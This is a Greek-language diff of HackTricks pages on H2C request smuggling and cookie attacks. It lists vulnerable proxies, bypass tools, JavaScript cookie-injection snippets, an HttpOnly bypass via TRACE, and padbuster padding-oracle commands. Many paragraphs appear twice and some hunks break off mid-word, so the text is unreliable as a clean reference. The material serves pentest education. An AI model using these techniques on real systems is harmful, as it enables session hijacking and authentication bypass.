Το H2C, ή **http2 πάνω σε καθαρό κείμενο**, αποκλίνει από τον κανόνα των προσωρινών συνδέσεων HTTP αναβαθμίζοντας μια τυπική σύνδεση HTTP σε μια μόνιμη. Αυτή η αναβαθμισμένη σύνδεση χρησιμοποιεί το δυαδικό πρωτόκολλο http2 για τη συνεχή επικοινωνία, αντί για τη μονοεπικοινωνιακή φύση του καθαρού HTTP.
Η ουσία του προβλήματος εκμετάλλευσης προκύπτει με τη χρήση ενός **αντίστροφου διακομιστή**. Συνήθως, ο αντίστροφος διακομιστής επεξεργάζεται και προωθεί τα αιτήματα HTTP προς τον πίσω μέρος, επιστρέφοντας την απάντηση του πίσω μέρους μετά από αυτό. Ωστόσο, όταν η κεφαλίδα `Connection: Upgrade` είναι παρούσα σε ένα αίτημα HTTP (συνηθισμένα βλέπεται με συνδέσεις websocket), ο αντίστροφος διακομιστής διατηρεί μια μόνιμη σύνδεση μεταξύ πελάτη και διακομιστή, διευκολύνοντας τη συνεχή ανταλλαγή που απαιτείται από ορισμένα πρωτόκολλα. Για τις συνδέσεις H2C, η συμμόρφωση με το RFC απαιτεί την παρουσία τριών συγκεκριμένων κεφαλίδων:
Η ουσία του προβλήματος κατάχρησης προκύπτει με τη χρήση ενός **αντίστροφου διακομιστή**. Συνήθως, ο αντίστροφος διακομιστής επεξεργάζεται και προωθεί τα αιτήματα HTTP στον πίσω μέρος, επιστρέφοντας την απάντηση του πίσω μέρους μετά από αυτό. Ωστόσο, όταν η κεφαλίδα `Connection: Upgrade` είναι παρούσα σε ένα αίτημα HTTP (συνηθισμένα βλέπεται με συνδέσεις websocket), ο αντίστροφος **διακομιστής διατηρεί μια μόνιμη σύνδεση** μεταξύ πελάτη και διακομιστή, διευκολύνοντας τη συνεχή ανταλλαγή που απαιτείται από ορισμένα πρωτόκολλα. Για τις συνδέσεις H2C, η συμμόρφωση με το RFC απαιτεί την παρουσία τριών συγκεκριμένων κεφαλίδων:
```
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
@ -28,35 +36,8 @@ Connection: Upgrade, HTTP2-Settings
```
### Εκμετάλλευση <a href="#exploitation" id="exploitation"></a>
Η ευπάθεια προκύπτει όταν, μετά την αναβάθμιση μιας σύνδεσης, το αντίστροφο proxy σταματά να διαχειρίζεται μεμονωμένα αιτήματα, υποθέτοντας ότι η διαδρομή του έχει ολοκληρωθεί μετά την εγκαθίδρυση της σύνδεσης. Η εκμετάλλευση του H2C Smuggling επιτρέπει την παράκαμψη των κανόνων του αντίστροφου proxy που εφαρμόζονται κατά την επεξεργασία των αιτημάτων, όπως η δρομολόγηση βασισμένη σε μονοπάτια, η ταυτοποίηση και η επεξεργασία WAF, υποθέτοντας ότι μια σύνδεση H2C εγκαθίδρυται με επιτυχία.
#### Ευάλωτα Proxies <a href="#exploitation" id="exploitation"></a>
Η ευπάθεια εξαρτάται από την χειρισμό του αντίστροφου proxy των κεφαλίδων `Upgrade` και μερικές φορές `Connection`. Τα ακόλουθα proxies προωθούν από μόνα τους αυτές τις κεφαλίδες κατά τη διέλευση του proxy, επιτρέποντας έτσι αυτόματα το H2C smuggling:
* HAProxy
* Traefik
* Nuster
Αντίστοιχα, αυτές οι υπηρεσίες δεν προωθούν από μόνες τους και τις δύο κεφαλίδες κατά τη διέλευση του proxy. Ωστόσο, μπορεί να ρυθμιστούν με ανασφαλή τρόπο, επιτρέποντας τη μη φιλτράριστη προώθηση των κεφαλίδων `Upgrade` και `Connection`:
* AWS ALB/CLB
* NGINX
* Apache
* Squid
* Varnish
* Kong
* Envoy
* Apache Traffic Server
#### Εκμετάλλευση <a href="#exploitation" id="exploitation"></a>
Είναι σημαντικό να σημειωθεί ότι όχι όλοι οι διακομιστές προωθούν από μόνοι τους τις κεφαλίδες που απαιτούνται για μια συμμορφωμένη αναβάθμιση σύνδεσης H2C. Ως εκ τούτου, διακομιστές όπως οι AWS ALB/CLB, NGINX και Apache Traffic Server, μεταξύ άλλων, φυσικά αποκλείουν τις συνδέσεις H2C. Παρ' όλα αυτά, αξίζει να δοκιμάσετε τη μη συμμορφωμένη παραλλαγή `Connection: Upgrade`, η οποία εξαιρεί την τιμή `HTTP2-Settings` από την κεφαλίδα `Connection`, καθώς μερικά backends ενδέχεται να μη συμμορφώνονται με τα πρότυπα.
Είναι κρίσιμο να σημειωθεί ότι όχι όλοι οι διακομιστές προωθούν από μόνοι τους τα απαραίτητα headers για μια συμμορφωμένη αναβάθμιση σύνδεσης H2C. Ως εκ τούτου, διακομιστές όπως οι AWS ALB/CLB, NGINX και Apache Traffic Server, μεταξύ άλλων, φυσικά αποκλείουν τις συνδέσεις H2C. Παρ' όλα αυτά, αξίζει να δοκιμάσετε τη μη συμμορφωμένη εκδοχή `Connection: Upgrade`, η οποία εξαιρεί την τιμή `HTTP2-Settings` από το header `Connection`, καθώς μερικά backends ενδέχεται να μη συμμορφώνονται με τα πρότυπα.
{% hint style="danger" %}
Ανεξαρτήτως του συγκεκριμένου **μονοπατιού** που έχει οριστεί στο URL `proxy_pass` (π.χ., `http://backend:9999/socket.io`), η καθιερωμένη σύνδεση προεπιλέγεται στο `http://backend:9999`. Αυτό επιτρέπει την αλληλεπίδραση με οποιοδήποτε μονοπάτι εντός αυτού του εσωτερικού σημείου πρόσβασης, εκμεταλλευόμενο αυτήν την τεχνική. Ως εκ τούτου, η καθορισμένη διαδρομή στο URL `proxy_pass` δεν περιορίζει την πρόσβαση.
Ανεξαρτήτως της συγκεκριμένης **διαδρομής** που έχει οριστεί στο URL `proxy_pass` (π.χ., `http://backend:9999/socket.io`), η καθιερωμένη σύνδεση προεπιλέγεται στο `http://backend:9999`. Αυτό επιτρέπει την αλληλεπίδραση με οποιαδήποτε διαδρομή εντός αυτού του εσωτερικού σημείου πρόσβασης, εκμεταλλευόμενος αυτήν την τεχνική. Ως εκ τούτου, η καθορισμένη διαδρομή στο URL `proxy_pass` δεν περιορίζει την πρόσβαση.
{% endhint %}
Τα εργαλεία [**h2csmuggler από την BishopFox**](https://github.com/BishopFox/h2csmuggler) και [**h2csmuggler από την assetnote**](https://github.com/assetnote/h2csmuggler) διευκολύνουν τις προσπάθειες να **παρακαμφθούν οι προστασίες που επιβάλλει το proxy** με την εγκαθίδρυση μιας σύνδεσης H2C, επιτρέποντας έτσι την πρόσβαση σε πόρους που προστατεύονται από το proxy.
Για περισσότερες πληροφορίες σχετικά με αυτήν την ευπάθεια, ιδιαίτερα όσον αφορά το NGINX, ανατρέξτε σε [**αυτό το λεπτομερές εγχειρίδιο**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).

View file

@ -1,30 +1,38 @@
# Χακάρισμα Cookies
# Χακτιβισμός με Cookies
<details>
<summary><strong>Μάθετε το χάκαρισμα AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκαρισμά σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>
## Χαρακτηριστικά Cookies
**Try Hard Security Group**
Τα cookies έρχονται με διάφορα χαρακτηριστικά που ελέγχουν τη συμπεριφορά τους στον περιηγητή του χρήστη. Εδώ έχουμε μια ανασκόπηση αυτών των χαρακτηριστικών με πιο παθητική φωνή:
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Χαρακτηριστικά των Cookies
Τα Cookies έχουν αρκετά χαρακτηριστικά που ελέγχουν τη συμπεριφορά τους στον περιηγητή του χρήστη. Εδώ είναι μια επισκόπηση αυτών των χαρακτηριστικών με μια πιο παθητική φωνή:
### Λήξη και Max-Age
Η ημερομηνία λήξης ενός cookie καθορίζεται από το χαρακτηριστικό `Expires`. Αντίστοιχα, το χαρακτηριστικό `Max-age` καθορίζει το χρόνο σε δευτερόλεπτα μέχρι το cookie να διαγραφεί. **Επιλέξτε το `Max-age` καθώς αντικατοπτρίζει πιο σύγχρονες πρακτικές.**
Η ημερομηνία λήξης ενός cookie καθορίζεται από το χαρακτηριστικό `Expires`. Αντίστροφα, το χαρακτηριστικό `Max-age` ορίζει το χρόνο σε δευτερόλεπτα μέχρι το cookie να διαγραφεί. **Επιλέξτε το `Max-age` καθώς αντικατοπτρίζει πιο σύγχρονες πρακτικές.**
### Domain
Οι φιλοξενούμενοι που λαμβάνουν ένα cookie καθορίζονται από το χαρακτηριστικό `Domain`. Από προεπιλογή, αυτό ορίζεται στον φιλοξενούμενο που εξέδωσε το cookie, χωρίς να συμπεριλαμβάνει τα υποτομεία του. Ωστόσο, όταν το χαρακτηριστικό `Domain` ορίζεται ρητά, περιλαμβάνει επίσης τα υποτομεία. Αυτό καθιστά την καθορισμό του χαρακτηριστικού `Domain` μια λιγότερο περιοριστική επιλογή, χρήσιμη για περιπτώσεις όπου είναι απαραίτητο το κοινόχρηστο cookie σε υποτομεία. Για παράδειγμα, η ρύθμιση `Domain=mozilla.org` καθιστά τα cookies προσβάσιμα στα υποτομέα της όπως το `developer.mozilla.org`.
Οι φιλοξενούμενοι που λαμβάνουν ένα cookie καθορίζονται από το χαρακτηριστικό `Domain`. Από προεπιλογή, αυτό ορίζεται στον φιλοξενούντα που εξέδωσε το cookie, χωρίς να συμπεριλαμβάνει τα υποτομεία του. Ωστόσο, όταν το χαρακτηριστικό `Domain` ορίζεται ρητά, περιλαμβάνει επίσης τα υποτομεία. Αυτό καθιστά την προδιαγραφή του χαρακτηριστικού `Domain` μια λιγότερο περιοριστική επιλογή, χρήσιμη για περιπτώσεις όπου είναι απαραίτητο το κοινή χρήση των cookies σε υποτομεία. Για παράδειγμα, η ρύθμιση `Domain=mozilla.org` καθιστά τα cookies προσβάσιμα στα υποτομεία του όπως το `developer.mozilla.org`.
### Διαδρομή
@ -41,8 +49,8 @@
* Το χαρακτηριστικό `SameSite` καθορίζει εάν τα cookies αποστέλλονται σε αιτήσεις που προέρχονται από τομείς τρίτων. Προσφέρει τρεις ρυθμίσεις:
* **Αυστηρό**: Περιορίζει το cookie από την αποστολή σε αιτήσεις τρίτων.
* **Χαλαρό**: Επιτρέπει την αποστολή του cookie με GET αιτήσεις που ξεκινούν από ιστοσελίδες τρίτων.
* **Κανένα**: Επιτρέπει την αποστολή του cookie από οποιοδήποτε τομέα τρίτων.
* **Χαλαρό**: Επιτρέπει το cookie να αποσταλεί με αιτήσεις GET που ξεκινούν από ιστότοπους τρίτων.
* **Κανένα**: Επιτρέπει το cookie να αποσταλεί από οποιοδήποτε τομέα τρίτων.
Να θυμάστε, κατά τη διαμόρφωση των cookies, η κατανόηση αυτών των χαρακτηριστικών μπορεί να βοηθήσει να εξασφαλιστεί ότι θα συμπεριφέρονται όπως αναμένεται σε διαφορετικά σενάρια.
@ -59,10 +67,10 @@
Πίνακας από [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) και ελαφρώς τροποποιημένο.\
Ένα cookie με το χαρακτηριστικό _**SameSite**_ θα **ελαττώσει τις επιθέσεις CSRF** όπου απαιτείται μια συνεδρία σύνδεσης.
**\*Σημειώστε ότι από το Chrome80 (Φεβ/2019) η προεπιλεγμένη συμπεριφορά ενός cookie χωρίς χαρακτηριστικό sameSite** **θα είναι lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
**\*Σημειώστε ότι από το Chrome80 (Φεβ/2019) η προεπιλεγμένη συμπεριφορά ενός cookie χωρίς το χαρακτηριστικό samesite** **θα είναι χαλαρή** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** στο Chrome θα **χειριστούν ως None** κατά τα **πρώτα 2 λεπτά και στη συνέχεια ως Lax για αιτήματα POST διασταυρούμενων τομέων κορυφαίου επιπέδου.**
## Σημαίες Cookies
## Σημαίες των Cookies
### HttpOnly
@ -74,17 +82,14 @@
* Αυτό μπορεί να Παρακαμφθεί με αιτήσεις **TRACE HTTP** καθώς η απάντηση από τον διακομιστή (εάν αυτή η μέθοδος HTTP είναι διαθέσιμη) θα αντανακλά τα cookies που στάλθηκαν. Αυτή η τεχνική ονομάζεται **Cross-Site Tracking**.
* Αυτή η τεχνική αποφεύγεται από τους **σύγχρονους περιηγητές μη επιτρέποντας την αποστολή ενός αιτήματος TRACE** από το JS. Ωστόσο, έχουν βρεθεί κάποιες παρακάμψεις σε αυτό σε συγκεκριμένο λογισμικό όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2.
* Ένας άλλος τρόπος είναι η εκμετάλλευση ευπάθειών μηδέν/ημέρας των περιηγητών.
* Είναι δυνατό να **αντικατασταθούν τα HttpOnly cookies** με μια επίθεση ανάχωσης Cookie Jar overflow:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-
* Είναι δυνατό να **αν
## Επιθέσεις με Cookies
Εάν ένα προσαρμοσμένο cookie περιέχει ευαίσθητα δεδομένα, ελέγξτε το (ειδικά αν παίζετε ένα CTF), καθώς ενδέχεται να είναι ευάλωτο.
### Αποκωδικοποίηση και Αλλοίωση Cookies
Τα ευαίσθητα δεδομένα που ενσωματώνονται σε cookies πρέπει πάντα να εξετάζονται προσεκτικά. Τα cookies που κωδικοποιούνται σε Base64 ή παρόμοιες μορφές μπορούν συχνά να αποκωδικοποιηθούν. Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να τροποποιήσουν το περιεχόμενο του cookie και να υποκριθούν άλλους χρήστες κωδικοποιώντας τα τροποποιημένα δεδομένα τους πίσω στο cookie.
Τα ευαίσθητα δεδομένα που ενσωματώνονται σε cookies πρέπει πάντα να ελέγχονται προσεκτικά. Τα cookies που κωδικοποιούνται σε Base64 ή παρόμοιες μορφές μπορούν συχνά να αποκωδικοποιηθούν. Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να τροποποιήσουν το περιεχόμενο του cookie και να υποκριθούν άλλους χρήστες κωδικοποιώντας τα τροποποιημένα δεδομένα τους πίσω στο cookie.
### Απαγωγή Συνεδρίας
@ -94,7 +99,7 @@
Σε αυτό το σενάριο, ένας επιτιθέμενος εξαπατά ένα θύμα να χρησιμοποιήσει ένα συγκεκριμένο cookie για να συνδεθεί. Εάν η εφαρμογή δεν αναθέτει ένα νέο cookie κατά τη σύνδεση, ο επιτιθέμενος, κατέχοντας το αρχικό cookie, μπορεί να υποκριθεί το θύμα. Αυτή η τεχνική βασίζεται στο γεγονός ότι το θύμα συνδέεται με ένα cookie που παρέχεται από τον επιτιθέμενο.
Εάν βρήκατε ένα **XSS σε ένα υποτομέα** ή εσείς **έλεγχετε έναν υποτομέα**, διαβάστε:
Εάν βρήκατε ένα **XSS σε ένα υποτομέα** ή εάν **έχετε έλεγχο ενός υποτομέα**, διαβάστε:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -104,7 +109,7 @@
Εδώ, ο επιτιθέμενος πείθει το θύμα να χρησιμοποιήσει το session cookie του επιτιθέμενου. Το θύμα, πιστεύοντας ότι έχει συνδεθεί στον δικό του λογαριασμό, θα εκτελέσει απροσδόκητα ενέργειες στο πλαίσιο του λογαριασμού του επιτιθέμενου.
Εάν βρήκατε ένα **XSS σε έναν υποτομέα** ή εσείς **έλεγχετε έναν υποτομέα**, διαβάστε:
Εάν βρήκατε ένα **XSS σε ένα υποτομέα** ή εάν **έχετε έλεγχο ενός υποτομέα**, διαβάστε:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -114,11 +119,11 @@
Κάντε κλικ στον προηγούμενο σύνδεσμο για να αποκτήσετε πρόσβαση σε μια σελίδα που εξηγεί πιθανές ελαττώματα στα JWT.
Τα JSON Web Tokens (JWT) που χρησιμοποιούνται σε cookies μπορεί επίσης να παρουσιάζουν ευπάθειες. Για λεπτομερείς πληροφορίες σχετικά με πιθανά ελαττώματα και πώς να τα εκμεταλλευτείτε, συνιστάται η πρόσβαση στο έγγραφο που συνδέεται με την ανάλυση του hacking JWT.
Τα JSON Web Tokens (JWT) που χρησιμοποιούνται σε cookies μπορεί επίσης να παρουσιάζουν ευπάθειες. Για λεπτομερείς πληροφορίες σχετικά με πιθανά ελαττώματα και πώς να τα εκμεταλλευτείτε, συνιστάται η πρόσβαση στο έγγραφο που συνδέεται με το hacking JWT.
### Παραβίαση Αιτήσεων Αναπαραγωγής Ανά Διαδίκτυο (CSRF)
### Παραβίαση Αιτήσεων Από Διαφορετικές Ιστοσελίδες (CSRF)
Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει μη επιθυμητες ενέργειες σε μια ιστοσελίδα στην οποία είναι επί του παρόντος ταυτοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν cookies που στέλνονται αυτόματα με κάθε αίτηση στην ευάλωτη ιστοσελίδα.
Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει μη επιθυμητες ενέργειες σε μια ιστοσελίδα στην οποία είναι επί του παρόντος πιστοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν cookies που στέλνονται αυτόματα με κάθε αίτηση προς την ευάλωτη ιστοσελίδα.
### Κενά Cookies
@ -128,7 +133,7 @@ document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
Το αποτέλεσμα στην κεφαλίδα cookie που στάλθηκε είναι `a=v1; test value; b=v2;`. Ενδιαφέροντα, αυτό επιτρέπει την παρεμβολή στα cookies εάν ένα cookie με κενό όνομα οριστεί, ενδεχομένως ελέγχοντας άλλα cookies με τον καθορισμό του κενού cookie σε μια συγκεκριμένη τιμή:
Το αποτέλεσμα στην κεφαλίδα cookie που στάλθηκε είναι `a=v1; test value; b=v2;`. Ενδιαφέροντα, αυτό επιτρέπει την παρεμβολή στα cookies εάν ένα cookie με κενό όνομα έχει οριστεί, ενδεχομένως ελέγχοντας άλλα cookies με τον καθορισμό του κενού cookie σε μια συγκεκριμένη τιμή:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -136,47 +141,51 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
```
#### Chrome Bug: Θέμα με τον Κωδικό Συνεχούς Unicode
#### Chrome Σφάλμα: Θέμα με τον Κωδικό Συνεχούς Unicode
Στο Chrome, εάν ένας κωδικός συνεχούς Unicode είναι μέρος ενός συνόλου cookie, το `document.cookie` γίνεται διαφθαρμένο, επιστρέφοντας στη συνέχεια μια κενή συμβολοσειρά:
Στο Chrome, εάν ένας κωδικός συνεχούς Unicode είναι μέρος ενός συνόλου cookie, το `document.cookie` διαστρέφεται, επιστρέφοντας στη συνέχεια μια κενή συμβολοσειρά:
```js
document.cookie = "\ud800=meep";
```
Αυτό έχει ως αποτέλεσμα την έξοδο του `document.cookie` ως κενό string, υποδεικνύοντας μόνιμη διαφθορά.
Αυτό έχει ως αποτέλεσμα το `document.cookie` να εξάγει μια κενή συμβολοσειρά, υποδεικνύοντας μόνιμη διαφθορά.
#### Λειτουργία Λαθών Ανάγνωσης Λογισμικού Λόγω Προβλημάτων Ανάλυσης
#### Λειτουργία Εισροής Cookies Λόγω Προβλημάτων Ανάλυσης
(Ελέγξτε περισσότερες λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται εσφαλμένα τις συμβολοσειρές cookie λόγω της ξεπερασμένης υποστήριξης του RFC2965. Διαβάζουν μια τιμή cookie που είναι εντός διπλών εισαγωγικών ως μοναδική τιμή ακόμα κι αν περιλαμβάνει ερωτηματικά, τα οποία θα έπρεπε να χωρίζουν κανονικά τα ζεύγη κλειδιού-τιμής:
(Ελέγξτε περισσότερες λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται εσφαλμένα τις συμβολοσειρές cookie λόγω της ξεπερασμένης υποστήριξης του RFC2965. Διαβάζουν μια τιμή cookie που είναι διπλά-εισαγμένη ως μια μόνο τιμή ακόμα κι αν περιλαμβάνει ερωτηματικά, τα οποία θα έπρεπε να χωρίζουν κανονικά τα ζεύγη κλειδιού-τιμής:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Ευπάθειες Έγχυσης Cookies
(Ελέγξτε λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Η εσφαλμένη ανάλυση των cookies από διακομιστές, ειδικά Undertow, Zope, και αυτούς που χρησιμοποιούν τα `http.cookie.SimpleCookie` και `http.cookie.BaseCookie` της Python, δημιουργεί ευκαιρίες για επιθέσεις έγχυσης cookies. Αυτοί οι διακομιστές αποτυγχάνουν να διαχωρίσουν σωστά την έναρξη νέων cookies, επιτρέποντας σε επιτιθέμενους να πλαστογραφήσουν cookies:
(Ελέγξτε περισσότερες λεπτομέρειες στην [αρχική έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Η εσφαλμένη ανάλυση των cookies από διακομιστές, ειδικά Undertow, Zope, και αυτούς που χρησιμοποιούν τα `http.cookie.SimpleCookie` και `http.cookie.BaseCookie` της Python, δημιουργεί ευκαιρίες για επιθέσεις έγχυσης cookies. Αυτοί οι διακομιστές αποτυγχάνουν να ορθώς περιορίσουν την έναρξη νέων cookies, επιτρέποντας σε επιτιθέμενους να πλαστογραφήσουν cookies:
* Ο Undertow περιμένει ένα νέο cookie αμέσως μετά από μια παραθέση χωρίς ερωτηματικό.
* Το Zope ψάχνει για ένα κόμμα για να ξεκινήσει την ανάλυση του επόμενου cookie.
* Οι κλάσεις cookie της Python ξεκινούν την ανάλυση σε ένα χαρακτήρα κενού.
- Ο Undertow περιμένει ένα νέο cookie αμέσως μετά από μια παραθέση χωρίς ερωτηματικό.
- Το Zope ψάχνει για ένα κόμμα για να ξεκινήσει την ανάλυση του επόμενου cookie.
- Οι κλάσεις cookie της Python ξεκινούν την ανάλυση σε ένα χαρακτήρα κενού.
Αυτή η ευπάθεια είναι ιδιαίτερα επικίνδυνη σε web εφαρμογές που βασίζονται στην προστασία CSRF με βάση τα cookies, καθώς επιτρέπει σε επιτιθέμενους να εισάγουν πλαστογραφημένα cookies με το CSRF-token, πιθανώς παρακάμπτοντας μέτρα ασφαλείας. Το πρόβλημα επιδεινώνεται από την αντιμετώπιση της Python με διπλότυπα ονόματα cookies, όπου η τελευταία εμφάνιση αντικαθιστά τις προηγούμενες. Επίσης, δημιουργεί ανησυχίες για τα cookies `__Secure-` και `__Host-` σε ανασφαλείς συμφραζόμενα και θα μπορούσε να οδηγήσει σε παρακάμψεις εξουσιοδότησης όταν τα cookies περνιούνται σε διακομιστές που είναι ευάλωτοι στην πλαστογράφηση.
Αυτή η ευπάθεια είναι ιδιαίτερα επικίνδυνη σε web εφαρμογές που βασίζονται στην προστασία CSRF με βάση τα cookies, καθώς επιτρέπει σε επιτιθέμενους να εισάγουν πλαστογραφημένα cookies με το CSRF-token, πιθανώς παρακάμπτοντας μέτρα ασφαλείας. Το πρόβλημα επιδεινώνεται από τη χειριστική της Python για διπλότυπα ονόματα cookies, όπου η τελευταία εμφάνιση αντικαθιστά τις προηγούμενες. Επίσης, δημιουργεί ανησυχίες για τα cookies `__Secure-` και `__Host-` σε ανασφαλείς συμφράσεις και θα μπορούσε να οδηγήσει σε παρακάμψεις εξουσιοδότησης όταν τα cookies περνιούν σε διακομιστές που είναι ευάλωτοι στην πλαστογράφηση.
### Επιπλέον Ευάλωτοι Έλεγχοι Cookies
#### **Βασικοί Έλεγχοι**
* Το **cookie** είναι **ίδιο** κάθε φορά που **συνδέεστε**.
* Αποσυνδεθείτε και δοκιμάστε να χρησιμοποιήσετε το ίδιο cookie.
* Δοκιμάστε να συνδεθείτε με 2 συσκευές (ή προγράμματα περιήγησης) στο ίδιο λογαριασμό χρησιμοποιώντας το ίδιο cookie.
* Ελέγξτε αν το cookie περιέχει κάποιες πληροφορίες και δοκιμάστε να το τροποποιήσετε.
* Δοκιμάστε να δημιουργήσετε αρκετούς λογαριασμούς με σχεδόν το ίδιο όνομα χρήστη και ελέγξτε αν μπορείτε να δείτε ομοιότητες.
* Ελέγξτε την επιλογή "**Να με θυμάσαι**" αν υπάρχει για να δείτε πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποιήστε πάντα το cookie του **να με θυμάσαι** χωρίς κανένα άλλο cookie.
* Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα ακόμα και μετά την αλλαγή του κωδικού πρόσβασης.
- Το **cookie** είναι **ίδιο** κάθε φορά που **συνδέεστε**.
- Αποσυνδεθείτε και δοκιμάστε να χρησιμοποιήσετε το ίδιο cookie.
- Δοκιμάστε να συνδεθείτε με 2 συσκευές (ή περιηγητές) στο ίδιο λογαριασμό χρησιμοποιώντας το ίδιο cookie.
- Ελέγξτε αν το cookie περιέχει κάποιες πληροφορίες και δοκιμάστε να το τροποποιήσετε.
- Δοκιμάστε να δημιουργήσετε αρκετούς λογαριασμούς με σχεδόν το ίδιο όνομα χρήστη και ελέγξτε αν μπορείτε να δείτε ομοιότητες.
- Ελέγξτε την επιλογή "**Να με θυμάσαι**" αν υπάρχει για να δείτε πώς λειτουργεί. Αν υπάρχει και μπορεί να είναι ευάλωτη, χρησιμοποιήστε πάντα το cookie του **να με θυμάσαι** χωρίς κανένα άλλο cookie.
- Ελέγξτε αν το προηγούμενο cookie λειτουργεί ακόμα ακόμα και αφού αλλάξετε τον κωδικό πρόσβασης.
#### **Προηγμένες επιθέσεις cookies**
#### **Προηγμένες επιθέσεις με cookies**
Αν το cookie παραμένει το ίδιο (ή σχεδόν) όταν συνδέεστε, αυτό πιθανότατα σημαίνει ότι το cookie σχετίζεται με κάποιο πεδίο του λογαριασμού σας (πιθανώς το όνομα χρήστη). Τότε μπορείτε:
* Δοκιμάστε να δημιουργήσετε πολλούς **λογαριασμούς** με πολύ **παρόμοια ονόματα χρηστών** και προσπαθήστε να **μαντέψετε** π
- Δοκιμάστε να δημιουργήσετε πολλούς **λογαριασμούς** με πολύ **παρόμοια** ονόματα χρηστών και δοκιμάστε να **μαντέψετε** πώς λειτουργεί ο αλγόριθμος.
- Δοκιμάστε να **bruteforce το όνομα χρήστη**. Αν το cookie αποθηκεύει μόνο ως μέθοδο πιστοποίησης για το όνομα χρήστη σας, τότε μπορείτε να δημιουργήσετε ένα λογαριασμό με όνομα χρήστη "**Bmin**" και να **bruteforce** κάθε μοναδικό **bit** του cookie σας επειδή ένα από τα cookies που θα δοκιμάσετε θα είναι αυτό που ανήκει στον "**admin**".
- Δοκιμάστε το **Padding Oracle** (μπορείτε να αποκρυπτογραφήσετε το περιεχόμενο του cookie). Χρησιμοποιήστε το **padbuster**.
**Padding Oracle - Παραδείγματα Padbuster**
```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
@ -186,11 +195,11 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
